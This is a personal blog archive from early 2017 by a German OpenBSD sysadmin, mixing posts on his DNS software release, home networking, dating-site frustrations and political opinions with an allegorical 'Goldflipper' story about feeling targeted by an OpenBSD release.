After 8 years presidency Obama becomes ex-president

January 19th, 2017

What did president Obama mean to me? He was the first black US president many said but he had a white mother so that makes him half-white. I realise he had no luck with the senate which was mostly republicans and there was a time when I thought that many decisions done by the senate were racist in contrast to president Obama's vision. One thing which he did not achieve was closing Guantanamo Bay (gitmo). I'm not sure if he tried hard enough on that, or if he was ignored by the military. I used to dream of US presidents a lot because of their exposure in the news. The last dream I had of Obama was during the Ukraine crisis so in 2015. President Obama closed the US Army Garrison in Schweinfurt, Germany where I live. There was 2 bases here and in hindsight it was a good thing that the military moved out. We are a strictly civilian town now. And the bases were reused to house refugees during and after the 2015 migrant crisis. When I told someone on a train in Canada who was US citizen that our bases were going to be closed, the response was "why are they doing that?!" that was in 2013. When I replied "Obama", he said "makes sense". I think I was taken out of context though, I have nothing against Obama at all. Compare him with all the previous presidents dating to Reagan, he was probably the best of them all. Now in terms of globalisation I feel that Obama was a little reserved, he tended to want to isolate the US. His successor is a real isolationist so Obama was hardly isolationist compared to what we think Trump is. I'm glad president Obama pardoned Manning. Too bad he didn't intervene earlier. But he is a president that tries to go by the rules as much as possible. In this case he could have bent the rules more, noone would have objected. All in all I think Barack Obama served the American population well, from an outsider's viewpoint. I will miss him.



Electricity for 2016

January 19th, 2017

I come through with reduced energy, even though I pay more this year. This is because the costs per KWh went up.

YearNightDayTotal
2013694112768217
2014690613238229
201510151145211603
20169643142011063

The apartment was mostly heated and not once did I freeze that I can remember. But it would be nice if the 2014 Night values came back :-).



Fan of flying machines

January 19th, 2017

When it's day I look out my window a lot. I enjoy watching the pigeons do their formation flying. And sometimes... I get this:

If you enlarge the image you may see more. It is three Apache gunships and one Chinook (so I call them) that is a troop transporter for 25 or more fully equipped troops. Anyhow these make a hell of a noise when they come around so I was able to snatch a few pictures.



Delphinusdnsd will be released in roughly 4 days

January 23rd, 2017

I'm putting the last few changes in to make this software ready to be tagged and put up for download. If you'd like to beta test you have roughly 4 days to grab a snapshot and try it out. So far I've tested this on Ubuntu, Rasbian, OpenBSD, NetBSD, FreeBSD and OpenSuse, and it seems to work. The new release will be version 1.1.0.



First mesh in Schweinfurt/Deutschhof

January 25th, 2017

Schweinfurt got the first mesh between two non-associated parties (me and the bakery Höreder Beck). As you can see on the yellow link that there is a medium quality link there. However the link does disappear a lot due to interference. I'm hoping on putting up a relay which is coloured red across the parking lot, which shortens the distance to both endpoints. Hurrah Freifunk!



Delphinusdnsd 1.1.0 released

January 28th, 2017

Finally I tagged the tree and made a tarball. The news at delphinusdns.centroid.eu say the following:

DelphinusDNSD 1.1.0 has been released on January 28, 2017. New is a 
dd-convert.c C program that replaces the ruby tool with the same name. 
Also I have fixed Empty Non-Terminal (ENT) Names in this release, meaning 
earlier version likely give wrong answers on the Internet. You can get 
the source under the "Source" link. Mac OS X port has been dropped.
I'm glad this last years efforts were finished in time. Now I'm gonna rest it a little and figure out where in what area I have to put my efforts next.



Switching Internet Providers

February 9th, 2017

Today I got a package in the mail. It was from Telekom.de. They sent me a new set-top box for my TV. Also they sent me login credentials to their network. On Monday next week my modem will likely go offline either before I'm home or just after, and I'm going to put my new VDSL modem to use. I upgraded the OS on my routers gamma and venus, so that they won't be panic'ing on igmpproxy which is needed for the Telekom IPTV. I got everything prepared. Monday is the big showdown though. I'm very excited as I'm going from 16/1 to 100/40 and I was hurting on the upload at nights. Better soon come!



Updated Network Map

February 9th, 2017

I have updated the Network map on how my network will look like after monday:

[gaia]--                    [raspberry pi]
          \                      |              [mercury]
[phone1] - \                     |                  |
            --- [uranus] === [Access Point] --- [gamma] ---- to pppoe cloud
[phone2] - /                    |
          /                     |
[beta]--                        |
                             [venus]-+--[spica]
                                ||   |
                                ||   +--[fritzbox LTE]------- to LTE network
                                ||   |
                                ||   +--[Telekom IPTV]
                                ||   |
                                ||   +--[Samsung TV]
                                ||   |
                                ||   +--[saturn]
                                ||
                             [freifunk]
New is that I drilled a hole through a wall for a cat5 link between access point and venus. I have also laid conduit for 2x 10 meter cabling for the TV and the IPTV set-top box. One thing that is funny is when I'm connected from beta to supercluster which is on the Internet, and I reboot venus, then the connection will drop between supercluster and beta. I haven't figured out why yet though. There is an IPSEC tunnel going from beta via uranus via gamma to mercury, that IPSEC's the part going over wireless. It too doesn't touch venus, so mega weird.



Munich show a little more respect to Linux

February 10th, 2017

Linux for the city of Munich was innovative and popular. Now the CSU and SPD municipal government wants to turn back the clock and go with Microsoft products again. They forgot the lock-in they were in before. All over Germany people said "you should go to Munich" if you had anything to do with Linux. Such a movement should be rewarded not punished by tearing it down. They say that Microsoft is the standard. Well, to be honest I haven't used Microsoft products for over 20 years. I often can't find work when I'm looking for new work, perhaps because I didn't buy into the Microsoft hegemony. Those that use alternatives should be rewarded for being different in my opinion. If you saw the business opportunities the alternatives can create you'd want the alternative too. Microsoft is a dead-end. Anyhow shame on the munich municipal government for their wrong decision.



I switched Internet Providers

February 14th, 2017

M-net was my old provider. They changed around 5 years ago and didn't give out goodies such as static IP's. That peed me off enought that I decided to switch the competition has all the stuff they have by now and more! I get VDSL2 now and get 100/40 speeds (more like 102/38 but meh). All in all I'm happy with this move. Unfortunately the new IPTV won't work on my network, I'm hoping to be able to give it back to the ISP and get a discount for just IP and SIP phone service. I still have to connect my SIP account but that shouldn't be so hard.



Why I won't be renewing my Parship.de membership

February 17th, 2017

Parship.de is a matching/dating service. After one year and 500 EUR or so, I do not think I got the best service in the country. In fact I feel parship got a free ride off my money. Like I told my mom I'd have a better deal with a hooker for that money than get to look at the blurred out pictures of parship. Unlucky for me I don't really believe in hookers. So I had one person who I even talked to in messages there, noone else was interested in me. And she was an 80 out of a possible 117 points, so rather a bad match. They base these points on some psychological profile and try to match strengths with weaknesses. She stopped talking to me just before christmas right after I told her I had visual hallucinations before, I'm quite honest about my mental illness. Hiding from myself rests on my conscience and I can't go through with it. I like to be as honest as possible. In this case the person I talked with wasn't interested in psychos. How boring.

So I won't be renewing and I have already cancelled. Also I have noticed whenever they tried to match me with someone else the other party was fat like me. Just an observance.. mix all the psychos with the psychos, the fat ones with the fat ones and the coloured with the coloured ones is the impression I got from that. In the end the skinny, white and truely pretty people can continue their games of cheating, lying and using others. Go ahead.. not my game! I can't lie I'm attracted to normal sized women as much as anyone else. I'd date a fat one too but I feel the algorithm chose them for me because they were fat, and I'm sorta sick of that. In many cases, like in mine, being fat is not our fault but a side-reaction to medication used.

Also I sorta missed the bus. If I meet someone and we possibly marry and have kids... what worries me is that at older age there is higher chance of downs syndrom for the babies, so I looked for women mostly 8-10 years younger than me. And it felt weird because these women were just getting their lives going and I felt I wasn't on their wavelength. It just didn't work out. I'm glad for all those couples that met online through a matchmaker, but for me it wasn't great. I dunno I don't think I'll ever marry or have children anyhow. And getting into a relationship with someone who has kids...well that's too hard for me to follow through with. I don't want to use them because they're desperate finding a partner that can raise their kids, and it's too much of a burden for me as well. I'm a big baby myself and needn't be an extra chore for someone with a lot of chores. So meh. Forever doomed?



Jobless despite Certification

February 21st, 2017

Golem.de (a news portal I read) reports that a 36 year old IT pro with system admin certifications and 10 years experience can't find work. Hear, hear! I believe it as I'm unofficially looking as well. Problem is that the golem article talks about 3000 such sysadmins also can't find work. It makes you wonder what is going on here?

We get Linux certified and can't use our skills? There is 50,000 job postings for IT jobs, why do 3000 people have to be out of work? The industry has not adjusted to what people are being trained on. Give us Linux jobs! Give us UN*X jobs! Also I would like to have the government probe into workplaces that are just faking job postings. To gain information for statistical purposes and advertising. If that is the case it should be highly illegal.



ZeroPager.de domain about to expire

February 21st, 2017

I registered this one either last year or the year before as a test domain. It served its function well. I'm letting it expire.



Networking Plans for future Computers in my Home

February 24th, 2017

I'm hoping to replace everything (everything!) in my house with 10 gbit Ethernet equipment by/at the year 2020. For those equipments with many ports I have planned to get a high-end NUC or so and a switch that does VLAN'ing. My personal preferences for such a switch is 8+ ports and 22 watts power consumption or so. I've seen some switches that do 40 watts and that's too much for me. The cables will have to get upgraded too as they are cat5e standard, and I believe 10gigE requires cat 6 or 7. At least the countup of all of this is gonna be easy. These are my dreams for 2020 anyhow. There is 3 years to go, and I know I'll get cravings to get new equipment in between that. I hope I can stay disciplined enough.



Four years in this ol' place

February 24th, 2017

I forgot to say...I am now four years in this apartment. Time has really flown. It's almost as long as my last apartment, which was a long time. I'm hoping on staying in this apartment beyond 2020. Unless I get other opportunities.



My first SIP ALG program

February 26th, 2017

ALG is a VOIP term and means Application Layer Gateway. I have created in the last week a SIP ALG program that I call rtptrack. It makes sure that outbound (inbound untested) calls work on the t-online.de network. The router I use is OpenBSD with the pf filtering system (which is supreme!).

The reason that t-online.de did not work with its existing setup was that they don't utilize an "rtphelper" algorithm which helps RTP punch a hole into a firewall. Sipgate.de and the VOIP company I work for do this and their setup just works (tm). RTPtrack should make Telekom work too. Finally something there works!

The download is here for a limited time.



Ditch the Computers for Elections!

March 4th, 2017

It's too bad what I'm about to say. But computers of today are not secure enough for todays election (!!!). A white hat hacker in the Netherlands agrees and has facts why. His story is at soylentnews.org. Computers these days are a joke and I'll give you another example. I bought a computer in 1997. It was the cheapest of its kind for $850, and they really skimped on the parts. That same computer would be worth $1,240 today with inflation. But we can buy PC's for $300 so they really got a lot cheaper and/or skimped on the parts (and polluted rivers in China). We know they skimp on the parts because computers have not become inherently safer. In fact they are faster but brain damaged. So it's to no surprise that security software often slow computers down. (Why is that?!) It's because security requires processing in order to make smart decisions! I'll give you one example. The ISN of a TCP session in OpenBSD uses the cryptographic routine called arc4random(). Do your homework why this is important (see /usr/src/sys/netinet/tcp_subr.c - function tcp_set_iss_tsm(), an RFC 1948 is quoted in the comments). So while computers have gotten 4 times as cheap over 20 years, they haven't changed in design. This is too bad, this must change! In fact I'd expect a computer to cost more than $1,240 if it were anything more than crap!



When I fell into the EU's lap, or, what's wrong with you?

March 5th, 2017

When I left West Germany as a child to live in Canada for a decade and a half, I left not knowing about the EU. I retained a german passport however and returned to now-united Germany in 2002. In fact in 2002 I don't remember using the DM anymore and it was the Euro. The EU was big in population. Real big. Bigger than the USA, and I had to get to terms with that, that I'm now living in a 500 lbs Gorilla superstate.

Sooner or later I began to like what the EU allowed me to do. I took on trips to France and the Netherlands in the next decade, without needing to go to customs or money exchanges, and it was a great feeling. It was like something directed me into place that I was a European now and not just a German citizen.

I also considered taking a train to London via the Channel Tunnel right from home and considered the route on bahn.de. Unfortunately with Brexit I'll have to delay that London trip a little bit. I don't feel comfortable with customs at all. We should live in a borderless world. Really! And we should become world citizens. But it will have to be European as a first step.

Don't get me wrong. I too have had my share of hard times being unemployed for 7 years at a length, in Europe. It may seem sometimes that Europe is not able to compete with itself for jobs. But at the same time we're getting richer as a community so the money goes somewhere. I'd say look not at globalization as the culprit but the un-equal structures that evolved before states united into the EU.

We have to make the EU great. And not again. Because we were never great. We're in our infancy and the six founding members of the EU, of which Germany (West) is a part of, needn't try to break up this once in a lifetime opportunity. We are the core, we should set the examples for the rest of the EU.

In the past I have seen an unseen hand of the Internet try to downgrade the EU. Try to sever our bonds from far. With me that doesn't work however I see much to be desired for when it comes to the number of crisis situtations that we have to endure. I'd like to see us become closer tied in the future. That means not just internal affaires being handled in the EU but also that we have an arm of external affaires and handle those. Only then can the EU defend itself.

Germany is having an election year this year and I do intend to vote for a pro-EU and pro-solidarity party. Have a nice day.



The car I intend to buy

March 5th, 2017

I've not had a car since 1993, so close to 25 years. Back then I had a 1987 Dodge Shadow (turbo). And after moving to a metropolitan area of 4 million or so inhabitants (rough estimate), I preferred taking the subway, bus, or even go about by bicycle. Since I've been working at a job in the VOIP industry for close to 7 years now, I've saved up my money. And I'm finally wanting to spend that money again. First I wanted to invest it into a business, but that is harder than you think. I'd rather get a car now and i've set my eyes on an electric car. Particularily the Renault Zoe. I've fallen in love with that little car, even though I haven't driven it yet. Should be interesting taking my first ride in it. With the car I'm going to get a few other gadgets. For example a cell phone. Yep I haven't had a cellphone for close to 15 years now. I'll need it to call emergency services when my car has problems. Also I do want to persue astronomy more and perhaps get a Newton or such scope. With a car I can put it all in the trunk and drive to locations where it's dark enough. I don't know what it is but it seems I've been granted a new stage in life from a very skimpish lifestyle to being normal. I'm just soaking it in, and spending the money I aquired over the years. Should be good.



New VPS

March 7th, 2017

I know I have a lot of these but I really need one over in Canada. It's a $10/mo digital ocean VPS in Toronto. I hope it sees use.



The North Sea's deepest point

March 8th, 2017

In the north sea, north of Germany, there lies not far from Norway the Norwegian Trench. It is as deep as 700 meters. This is the only point where the north sea is 700 meters so it makes sense that the norwegian trench is the intended place for these "power" spheres that are pumped storage facilities, as the Fraunhofer Institute for Wind Energy and Energy Systems Engineering has envisioned. So I looked a little at this. I tilted my head a little and thought, that would make an incredible underwater replenishing station for submarines. If enough power spheres are made it won't be immediately noticeable that they would repurpose some to be hydrogen storage containers. Hydrogen? What for? Well if you haven't heard by now Type 212 submarines of the German Navy use hydrogen to get their power. And did Norway have the same subs? Well yes. They just ordered a batch of four from Germany last month. So there is the operators of the replenishing facility. Only problem is: Can Type 212 subs dive to 700 meters? And I checked on wikipedia and the answer is, yes. So perhaps there is a military mandate as well as the economic mandate for these power spheres. I gotta admit I really used my imagination to the fullest here, and used wikipedia to back up hypotheses. Would be something right? If there was a submarine base just off Bergen? BTW Bergen is strategic, in all my games of the submarine simulation "Red Storm Rising" as a youth it was the Soviets that would capture Bergen first and a submarine had to stop the landing crafts. It was usually that the Soviets succeeded in taking most of Norway and Germany, so if that's in simulations it must have been a fear. Red Storm Rising was a game that probably had navy advisors as common knowledge would have never been enough to make that game as real as it is.



OpenBSD 6.1 will be released on May 1st

March 8th, 2017

Once that release is done, I'll be upgrading computers around here, and I'll get a new domain too, as I want to run delphinusdnsd in production somewhere with a test domain. I have the capacity to do this now with the new VPS. Also I've been thinking around how to better the database with delphinusdnsd which uses BerkeleyDB from Oracle as it's underlying database. I may have to rewrite the database entirely and make a shared memory hash table. Time will tell and it will tell if OpenBSD will upgrade BerkeleyDB or not. Currently I believe it's at 4.6.21p3.



A thought just came...are humans in the way?

March 12th, 2017

Brexit came at an interesting time. This time we realise that human resources for labour are starting to dwindle. This is not because of a lack of humans. In fact we have more humans than ever. But I'm talking about automation. About a decade ago I attended gatherings of laid-off personell and other job seekers and I remember one lady was among the first victims to digitalization. She was a photo developer working for Kodak or some company, and was laid off because digital cameras replaced analog film cameras. I predict in a decade or two time I will again be visiting those meetings as the System Administrator who was replaced by Artificial Intelligence.

Then there is Great Britain whose humans voted for exiting the EU. This can be a chance for britain to up its manufacturing as automation only and to develop its AI backed with quantum computer technology. A quantum computer on that small island is almost a saviour when comparing the island with the human resources of the continent Europe. Britain can enter as a guardian and security analyst by checking Internet traffic that transits its country en-masse with artificial intelligence and quantum computers and thus it might get a pretty good picture of what a single firewall state or flow is about to do. It can then sell this information to 3rd parties or governments. What this leaves the british public with is unknown. Either everyone is gonna travel the world and hardly be home while computers do all their work, or they'll be locked up in their house and using virtual reality to entertain themselves. Would this create a nation of VR addicts? Is that life really satisfying?

And lastly I want to throw in why basic income is perhaps a good thing in times where industry is automated. We should be persuing a model for humans that allows us a satisfying life (since our economy is rolling) and much like in the series Star Trek TNG humans try to better themselves intellectually and spiritually. Unfortunatly the speed at which automation happens is faster than the speed at which politics are realising that humans will be out of work and temporarily or permanently depressed about this state. We need to make it clear that yesterdays politics need to be replaced by todays needs.



Replaced SPF with TXT records

March 12th, 2017

;; QUESTION SECTION:
;centroid.eu.			IN	TXT

;; ANSWER SECTION:
centroid.eu.		86400	IN	TXT	"v=spf1 ip4:108.61.211.139 \
ip4:78.47.14.22 ip6:2a01:4f8:d13:1980::/64 \
ip6:2001:19f0:6c00:9041:5400:ff:fe11:3332 ~all" 
I did this change because RFC 7208 section 3.1 says that SPF records were discontinued. Finally someone told me! lol.



Let's just end this here

March 14th, 2017

Turkey is just using Germany and the EU, to get support for its already anti-EU course. Why should they be in the EU? They shouldn't. The differences between Turkey and the EU are too great. Turks might feel offended by Europes stance, but this is not your country that you pledge allegiance to! Unfortunately we have to watch all the human rights abuses come out of Turkey, just to prove a point that they are different. Why do we need them in NATO? How strategic is a dictator run Turkey to NATO? We don't need them! Let this end. It's better this way.



We're 10 cm's from the Sun (1mm)

March 16th, 2017

I saw this youtube clip partially until he set the distance to Jupiter. If the Sun was 1 mm in diameter (radius off wikipedia says 695,700 km) then the earths to scale distance I worked out to 107 mm or 10.7 cm given that the distance of an astronomical unit (AU) is 149,597,870 km. In the video astrium goes on to say that Mars is 16 cm's from the Sun. I proofed the distance with earth today and had some discrepancies until realising that 2 * radius == diameter. :-)



The only way to outdo Facebook/Google/Silicon Valley and Co.

March 19th, 2017

When european politicians talk about restricting facebook for example, it won't do. The only way to beat facebook and apply european law is to create a competitor platform that offers more than facebook, ie. competing against it. We are eons behind in this so it's not easy to outdo facebook and google. But if politicians would have the will to work with private enterprises to create a competitor platform by investing billions (that's how much it would cost), then and only then will the european user be under a european law-umbrella.

Politicians don't realise this though. They think it is sooo easy to create a digital border in "cyberspace". It won't do. Half the people on facebook are addicted to it and emotionally bonded to it. The only way to break the spell is to break it with another spell, like mentioned above. With european law there must come law evolution meaning that some laws are perhaps not in europes best interests, and serve only a minority. Anyhow. Here is a question to local politicians then "how long will europe have to be beaten technologically for you to realise politics can't save us?". Put up.



Tomorrow is Equinox

March 19th, 2017

At 10:28 UTC is equinox. That is when the sun crosses the equator of earth. You may have guessed then, that this only happens twice a year. Officially after the sun crosses the equator in either direction somewhere on earth it is spring and otherwhere on earth it is autumn. Namibia is starting autumn, and Germany is starting spring. That's just how it is in the march equinox.



When Algorithms Fail Humans

March 23rd, 2017

I sent a resume to some place that was hiring. Their algorithm scored my mail as a spam mail due to the .pdf attachment that was my resume. I sent a followup a few weeks later asking if they saw my resume and by then they realised that my mail was not spam. Unfortunately for me, the position for the job was then already filled. I believe this is one case where an algorithm failed humans. Or is it sheer bad luck? Between the mailings I changed my SPF record to a TXT record as per RFC 7208, which changed in April 2014 and my anti-spam setup was outdated.



Last night Europe turned on Summer Time

March 26th, 2017

When I type date on a UN*X system it says this:

Sun Mar 26 10:52:20 CEST 2017
ahhh! finally summer time CEST! I was once vehemently against the switch at all, but now I just don't care anymore. It would be nicer to have no summer time but then again, who cares!



Ex-Ledward Barracks starting to be demolished

March 26th, 2017

On December 9th, 2014 I reported about the American Forces leaving Schweinfurt. Now there is the first demolishing of the old Barracks I just read in the mainpost our local newspaper. They have designated the east wing of the barracks for schooling, in particular the local college FH W"urzburg- Schweinfurt. I haven't seen it in real life yet but I'm sure one would not recognize it again. Strangely I read somewhere a few weeks ago that the US Army is seeking for new Barracks in Northern Germany. That is ex-british territory in the division that happened after WW2. I disagree with President Trump that Germany "owes" the US money over protection. The remaining US forces in Germany are remains of the second world war of an invasion force, why would we pay a cent for that? Why we'd be crazy. Our military can be modified to give us a reasonable protection without NATO forces on our soil, and in a jiffy at that. Anyhow "interests" cost money so much is clear. And it's in the US best interest that Germany doesn't get invaded by the Russians even if Germany doesn't pay the Trump government. In regards to conscription which is something Sweden re-introduced recently, there is probably a chance that Germany will re-introduce it too in the foreseeable future to come. This is simply because when forced there is more potential good soldiers that become "career" soldiers. Currently the advertising of the Bundeswehr is probably not effective in finding the right persons. That's just a prediction of mine, as I don't really know as I never had to serve because I lived in a foreign country at the age when people get conscripted. So I barely missed out.



What science should focus on in my opinion

March 27th, 2017

Science in all of history has largely been a trial and error method. There was a hypothesis and if some work surrounding that hypothesis matched then there was material for a positive conclusion. In these days we have a great system of many many hypothesis's and we get a bit of positive conclusions out of it.

I personally get angry when I see people working with rare elements and "waste" their time with it. Such as gold. Why gold? Just because some guy put it on his crown and shield and it looks nice why do we waste our time with it? It has no value to me.

I personally would like to see scientist try out the most abundant elements that we have on earth (32.1% iron, 30.1% oxygen, 15.1% silicon, 13.9% magnesium 2.9% sulfur, 1.8% nickel.. stop). Let's work with the ones that are over 10% so iron, oxygen, silicon and magnesium. Also we should look to the Universe and see what elements are abundant there. Hydrogen and Helium. So we have six elements that we should be focusing science around. Forget the rest they aren't important enough! One element we could be working with is Carbon but let's keep it at that. So seven elements in total.

I have dug up this chart from wikipedia which I find pretty interesting:

We should be doing science with the most abundant of elements because there may come a time when we're short of everything and can only use what's immediately available. Does it not make sense? To me it does.



Totally disagree with this SP.ON. article

March 27th, 2017

In this article on Spiegel Online the author fingers the EU and US industry at trying to weaken Germany. Dieselgate is the cause of that, but it was braught about by whom exactly? You got it. VW. And then he goes on to say somewhere in the article that up to 2 million people are indirectly dependent on the car industry and that if everyone bought an electric car that there would be job losses because the car makers are getting less money per e-car than any other emissions car. Now, I've been on the search for an electric car for the last little while and I smell hot air from this guy. For one, an electric car costs three times as much as it's emissions counterpart (Renault Zoe vs. Clio) with batteries included. So if the producers aren't pocketing great profits on this I'd be surprised. The fact that I mentioned Renault (a french maker) is that it's still cheaper than the german competition (Opel e-ampera, BMW, and VW E-Up and E-Golf), yet it's still expensive. Maybe he overlooked that many people want an electric car in this country and that the local automakers are letting us down. They slept, they lied and played with fire at dieselgate. And we're supposed to feel sorry for job losses? We should buy a friggen emissions car to keep some assmunch in their job and all they do is turn around and lie to us? No. I totally disagree with this guys sob story and I'll buy me a Zoe from surprise surprise not the korean dealer but the next neighbouring country over. VW should roast and pay up, because VW not only tarnished it's own leadership, engineering and staff but also all of Germanys reputation of honest craftsmanship and engineering. You guys can bring all the sobstories you want, you don't get me feeling sorry for you.



Turned down the heat

March 27th, 2017

My "Nachtspeicher" heating system is turned down to 2 hours now, and I have set the setting on the units themselves to level 1. I hope I don't freeze, but today is extraordinarily warm in my apartment.



Reinhard Tgahrt, Rest In Peace

April 1st, 2017

Sadly, not an April Fools joke. Reinhard Tgahrt my uncle passed away last night. He would have been 81 years old on July 4th. What can I say here? Reinhard was an interesting person and a great uncle. He lived in Marbach not far from his workplace the Schiller Archive and Museum. I believe he loved his work. He loved poems and not just simple ones. I would recite one he said but I don't know where to look all I remember one he said was called "Endlich". I think I could dig out a long list of things he contributed to in Germanistics but it's all online. He was a great person, and I'd toast to his life with a pistachio that he loved to eat so much. I'm gonna keep it short so I'd end the conversation quickly like he always did with a simple, Adieu!



I've left parship.de, unsuccessfully

April 2nd, 2017

Well I've asked parship.de to delete my profile. I never had any luck finding anyone, since becoming a premium-member last april 6th, 2016. I think the service is a scam personally. Thanks for nothing, and they're expensive too.



My Bloomin' System

April 3rd, 2017

Spring here has arrived. When I look out my window, I see this:

Of course it loooks a lot better than in the photo IRL.



I'm ready to go back to dating

April 5th, 2017

After leaving parship.de a thought came to me. Why do I need a middle man to ask someone out? I have registered schweinfurtdating.de and put myself on it. If anyone comes across it they can e-mail me if they find me interesting. I also want to give others the chance of presenting themselves on this website. I hope I don't get swamped with the workload. Instead of 500 EUR for parship.de I paid 5 EUR for the domain, and I have enough resources to facilitate a bit of webhits. If it gets too bad I'll move the website around my VPS's a little to balance the bandwidth. Here is hoping that I'll have a gf in 2017. :-)



I identify with Goldflipper from OpenBSD 3.2 Release

April 8th, 2017

I identify with goldflipper. That's why I even registered the domain goldflipper.net before. If you may know Puffy dressed as 077 (ascii sign for '?') as a dupe to 007 (james bond) destroyed goldflipper a cyborg made by "the doctor". There is several hints that goldflipper is me. 1. Flipper is a common name for my last name as a word of taunt. 2. My dad is the doctor and was called so at his work even. 3. When I left Canada as my place of residence after having a very hard time in Ottawa, OpenBSD 3.2 came out with a taunting "goldflipper is gone". Just for your information puffy did not destroy goldflipper, but rather had him go back to square one, for repairs.

I didn't even know what hit me, and I sure as hell did not expect puffy to take me out. All is good now, I know now where puffy stands, not only did he do Goldflipper but also came out with Blob in 3.9. Keywords bonding 3.2 and 3.9 are again goo and doctor. Check the lyrics and compare (in this link). I don't think I'm mistaken, puffy did his homework through some sorts of spying, he was very informed about where I came from and about my family. Noone would have known about "the doctor", I never told that to anyone until recently.

So where does that leave me? I'm old now compared to these younglin's and fairly retarded due to the meds I'm on. I'm not even gonna counter-attack I don't think. I'm just deeply hurt that puffy took me out. Now I'll give you another piece of the puzzle. I once taunted puffy with means of a donation, where I provided a small poem pitting the city of Toronto against the city of Calgary with it's pathetic mayor at the time Ralph Klein. Then again at the time Toronto had pretty dull mayors too, I think it was NOOOOOOBODY's Mel Lastman. It may seem like fun and all, but let this be a warning to anyone in Canada before you get into a spat with someone. Especially immigrants who don't have a status beyond landed immigrant should watch out. Puffy throws acids such as LSD!

Very low. Very low. It was a blow, deep below the waist
But make no haste, we know without a doubt that puffy was the taste
And let this poem stand, for only one ruler rules the band
the devil with his left-side glory does not control the sand
Because sand is made of rock, and rocks are forever
And this connection from near and far will never sever
For a tear from my eye will fall and drops will appear as ice
cling cling clang rattle bing bang I'll make my noise all winter
spring, summer and fall, you'll never get me all, I'm out.

Puffy may have a sample of blob, but I have sample of bluffy!



First draft of the Goldflipper story

April 11th, 2017

(pictures and illustrations to come later)

A long time ago.. more than one revolution of Jupiter around the Sun, puffy who was notified by octupus that goldflipper is its foe, which was a blatant lie, destroyed Goldflipper and told the story in song, as a taunt.

When Goldflipper the cyborg was "destroyed" by octupus and puffy, it was able to catch a flight to India on a TWA airliner. Just before reaching the EU for a refuel stop goldflipper released itself from the airplane and dug into the North Sea and dug deep into the sand near the Norwegian Trench.

It's systems were mostly overloaded. That was the part damaged from puffy's neurodotoxin and octopus's psyops. The fission reactor almost had an accident. There lay goldflipper and didn't make a noise, deep under the sand. Right near a pocket of oil.

Soon the EU flipper family noticed that there was something deep under the sand by means of sonar. Flippers have a tendency to scout for food under the sand. There they found him breathing but not well. They took him into shlepp tow and brought him to port.

Since Goldflipper had very little battery left they first gave him a coat of black solar scales, so that the sun could power goldflipper. They repaired the fission reactor but shut it down. It was not common for flippers to use fission reactors anymore in the 2000's, goldflipper was a real blast from the past.

Next the flippers gave him new non-magnetic steel frameworks allowing goldflipper to keep its balance better, and also outfitted a fuel cell for extra power that was scouted by the flippers during a "wandertag" in Franconia. A set of Li-Ion batteries were installed as well, much later due to the finding that a fuel cell with battery combination is a much better combination for cyborgs.

By now goldflipper was mostly black. Under its skin was still a bit of gold but it was mostly covered up by black scales and oil that kept oozing out of goldflipper due to its repairs caused by the fight with octupus. Puffy once came around and called him "Blobby" because it reminded him of a whale. At the sight of the taunting puffy goldflipper almost lost its cool and destroyed some Puffy CD's out of its library.

Nonetheless the Flipper family did a good job in repairing goldflipper, but everyone was getting old and tired of the task. One flipper caught the neurodotoxin from puffy and was sickened so bad she had to be put in a wheelchair. The time was right for goldflipper to tell its story, when Jupiter made a full revolution from the constellation Virgo, which had the sun in it when Puffy and Octupus attacked Goldflipper. Goldflipper who was a virgin reborn due to the repairs felt that now was the right time to tell.

Soon goldflipper would be able to show its new armour and insides to the world. It amassed a lot of RAM and CPU power over the years. It could let everyone know that it survived the attack by puffy and octopus, which was already told to the caribbean sea many moons ago, but that was a different story. Revenge on puffy is probably not a good idea, but octopus may have it coming, because puffy noticed octupus told him lies. Only time will tell. Goldflipper lives!



OpenBSD 6.1 was released yesterday

April 12th, 2017

Congratulations to the entire team that find time to give us the best OpenBSD OS yet.



Registered Goldflipper.DE

April 12th, 2017

I once had goldflipper.net but this time a .de is cheaper. The funny thing I noticed is when you compact goldflipper to AUflipper it sounds like someone who gets lippy. That's me for sure, in my younger days.



Upgraded most my servers and hosts to OpenBSD 6.1

April 14th, 2017

I was very busy yesterday and today upgrading most my hosts to OpenBSD 6.1. The upgrade process was straight forward and I don't have any complaints. Thank you OpenBSD!



Purchased/Ordered a Wacom CTL-490DW

April 17th, 2017

OpenBSD has support for this wacom tablet and I have a need for doing some drawings or illustrations. Hopefully it'll work out.



Von der Leyen and Bundeswehr should listen to this

April 18th, 2017

I've always said that networks and computer systems should be defensive only. However the German Bundeswehr insists on installing "active" offensive network mechanisms. In my opinion this is the wrong way about this. Bruce Schneier a cryptography expert agrees that there must be a balance. In my opinion, what Germany really needs is a secure operating system and secure network infrastructure, not a bunch of smurfers or DDos'ers. The OpenBSD operating system which focuses on correctness, security and functionality has a few innovations that help in this field. Trust me, this is the correct way. Active attack is so wrong in the eyes of a system and network administrator such as me. You guys need to learn! And by that I mean that the Internet is very delicate, and any nonsense such as "cyberwar" will not go over well.



Got the Wacom CTL-490

April 21th, 2017

Well I got the Wacom. I unwrapped it... plugged it in. and I see this in my dmesg:

uhidev3 at uhub0 port 8 configuration 1 interface 2 "Wacom Co.,Ltd. Intuos PS" \
rev 2.00/1.00 addr 5
uhidev3: iclass 3/1, 1 report id
ums1 at uhidev3 reportid 1: 5 buttons
wsmouse2 at ums1 mux 0
I didn't work right away, I first had to restart X11 with control-alt-backspace. Then it really worked! I fired up gimp and made 2 doodle drawings. This is the second drawing I made with it on OpenBSD and gimp:

I'm very satisfied! Thank you OpenBSD and thank you to the author of the uwacom(4) driver Frank Groeneveld! I'll be making more detailed illustrations of Goldflipper in the time to come.



First draft of image of Goldflipper attack

April 21th, 2017

There is more to come.



Second image for Goldflippers attack

April 21th, 2017



Goldflippers escape

April 21th, 2017



Goldflipper is detected

April 24th, 2017



Goldflipper's new solarscale suit

April 24th, 2017



Government issued national ID card online

April 24th, 2017

Before a nation decides to hook everyone to an ID card, I'd like to remind them that not everyone runs windows. And it is against our democratic right to be forced to use windows. No, I don't run a Macintosh at all times either. My OS (betriebsystem) is OpenBSD. If you'd like me to run your ID card, I expect a fully open sourced driver to my OS. The driver has to satisfy the OpenBSD developer community in order to be accepted into the base kernel system. No, it isn't linux and it's not linux compatible! There is a lot of OS's other than Windows and Macintosh, AND I'm afraid you'll have to satisfy all instances if you want 100% coverage. This means jobs for developers. It can be done. Please make it so!



In 6 days we're 8 years old (with history)

May 1st, 2017

Happy anniversary!



Why do we need more than one State-run TV station?

May 8th, 2017

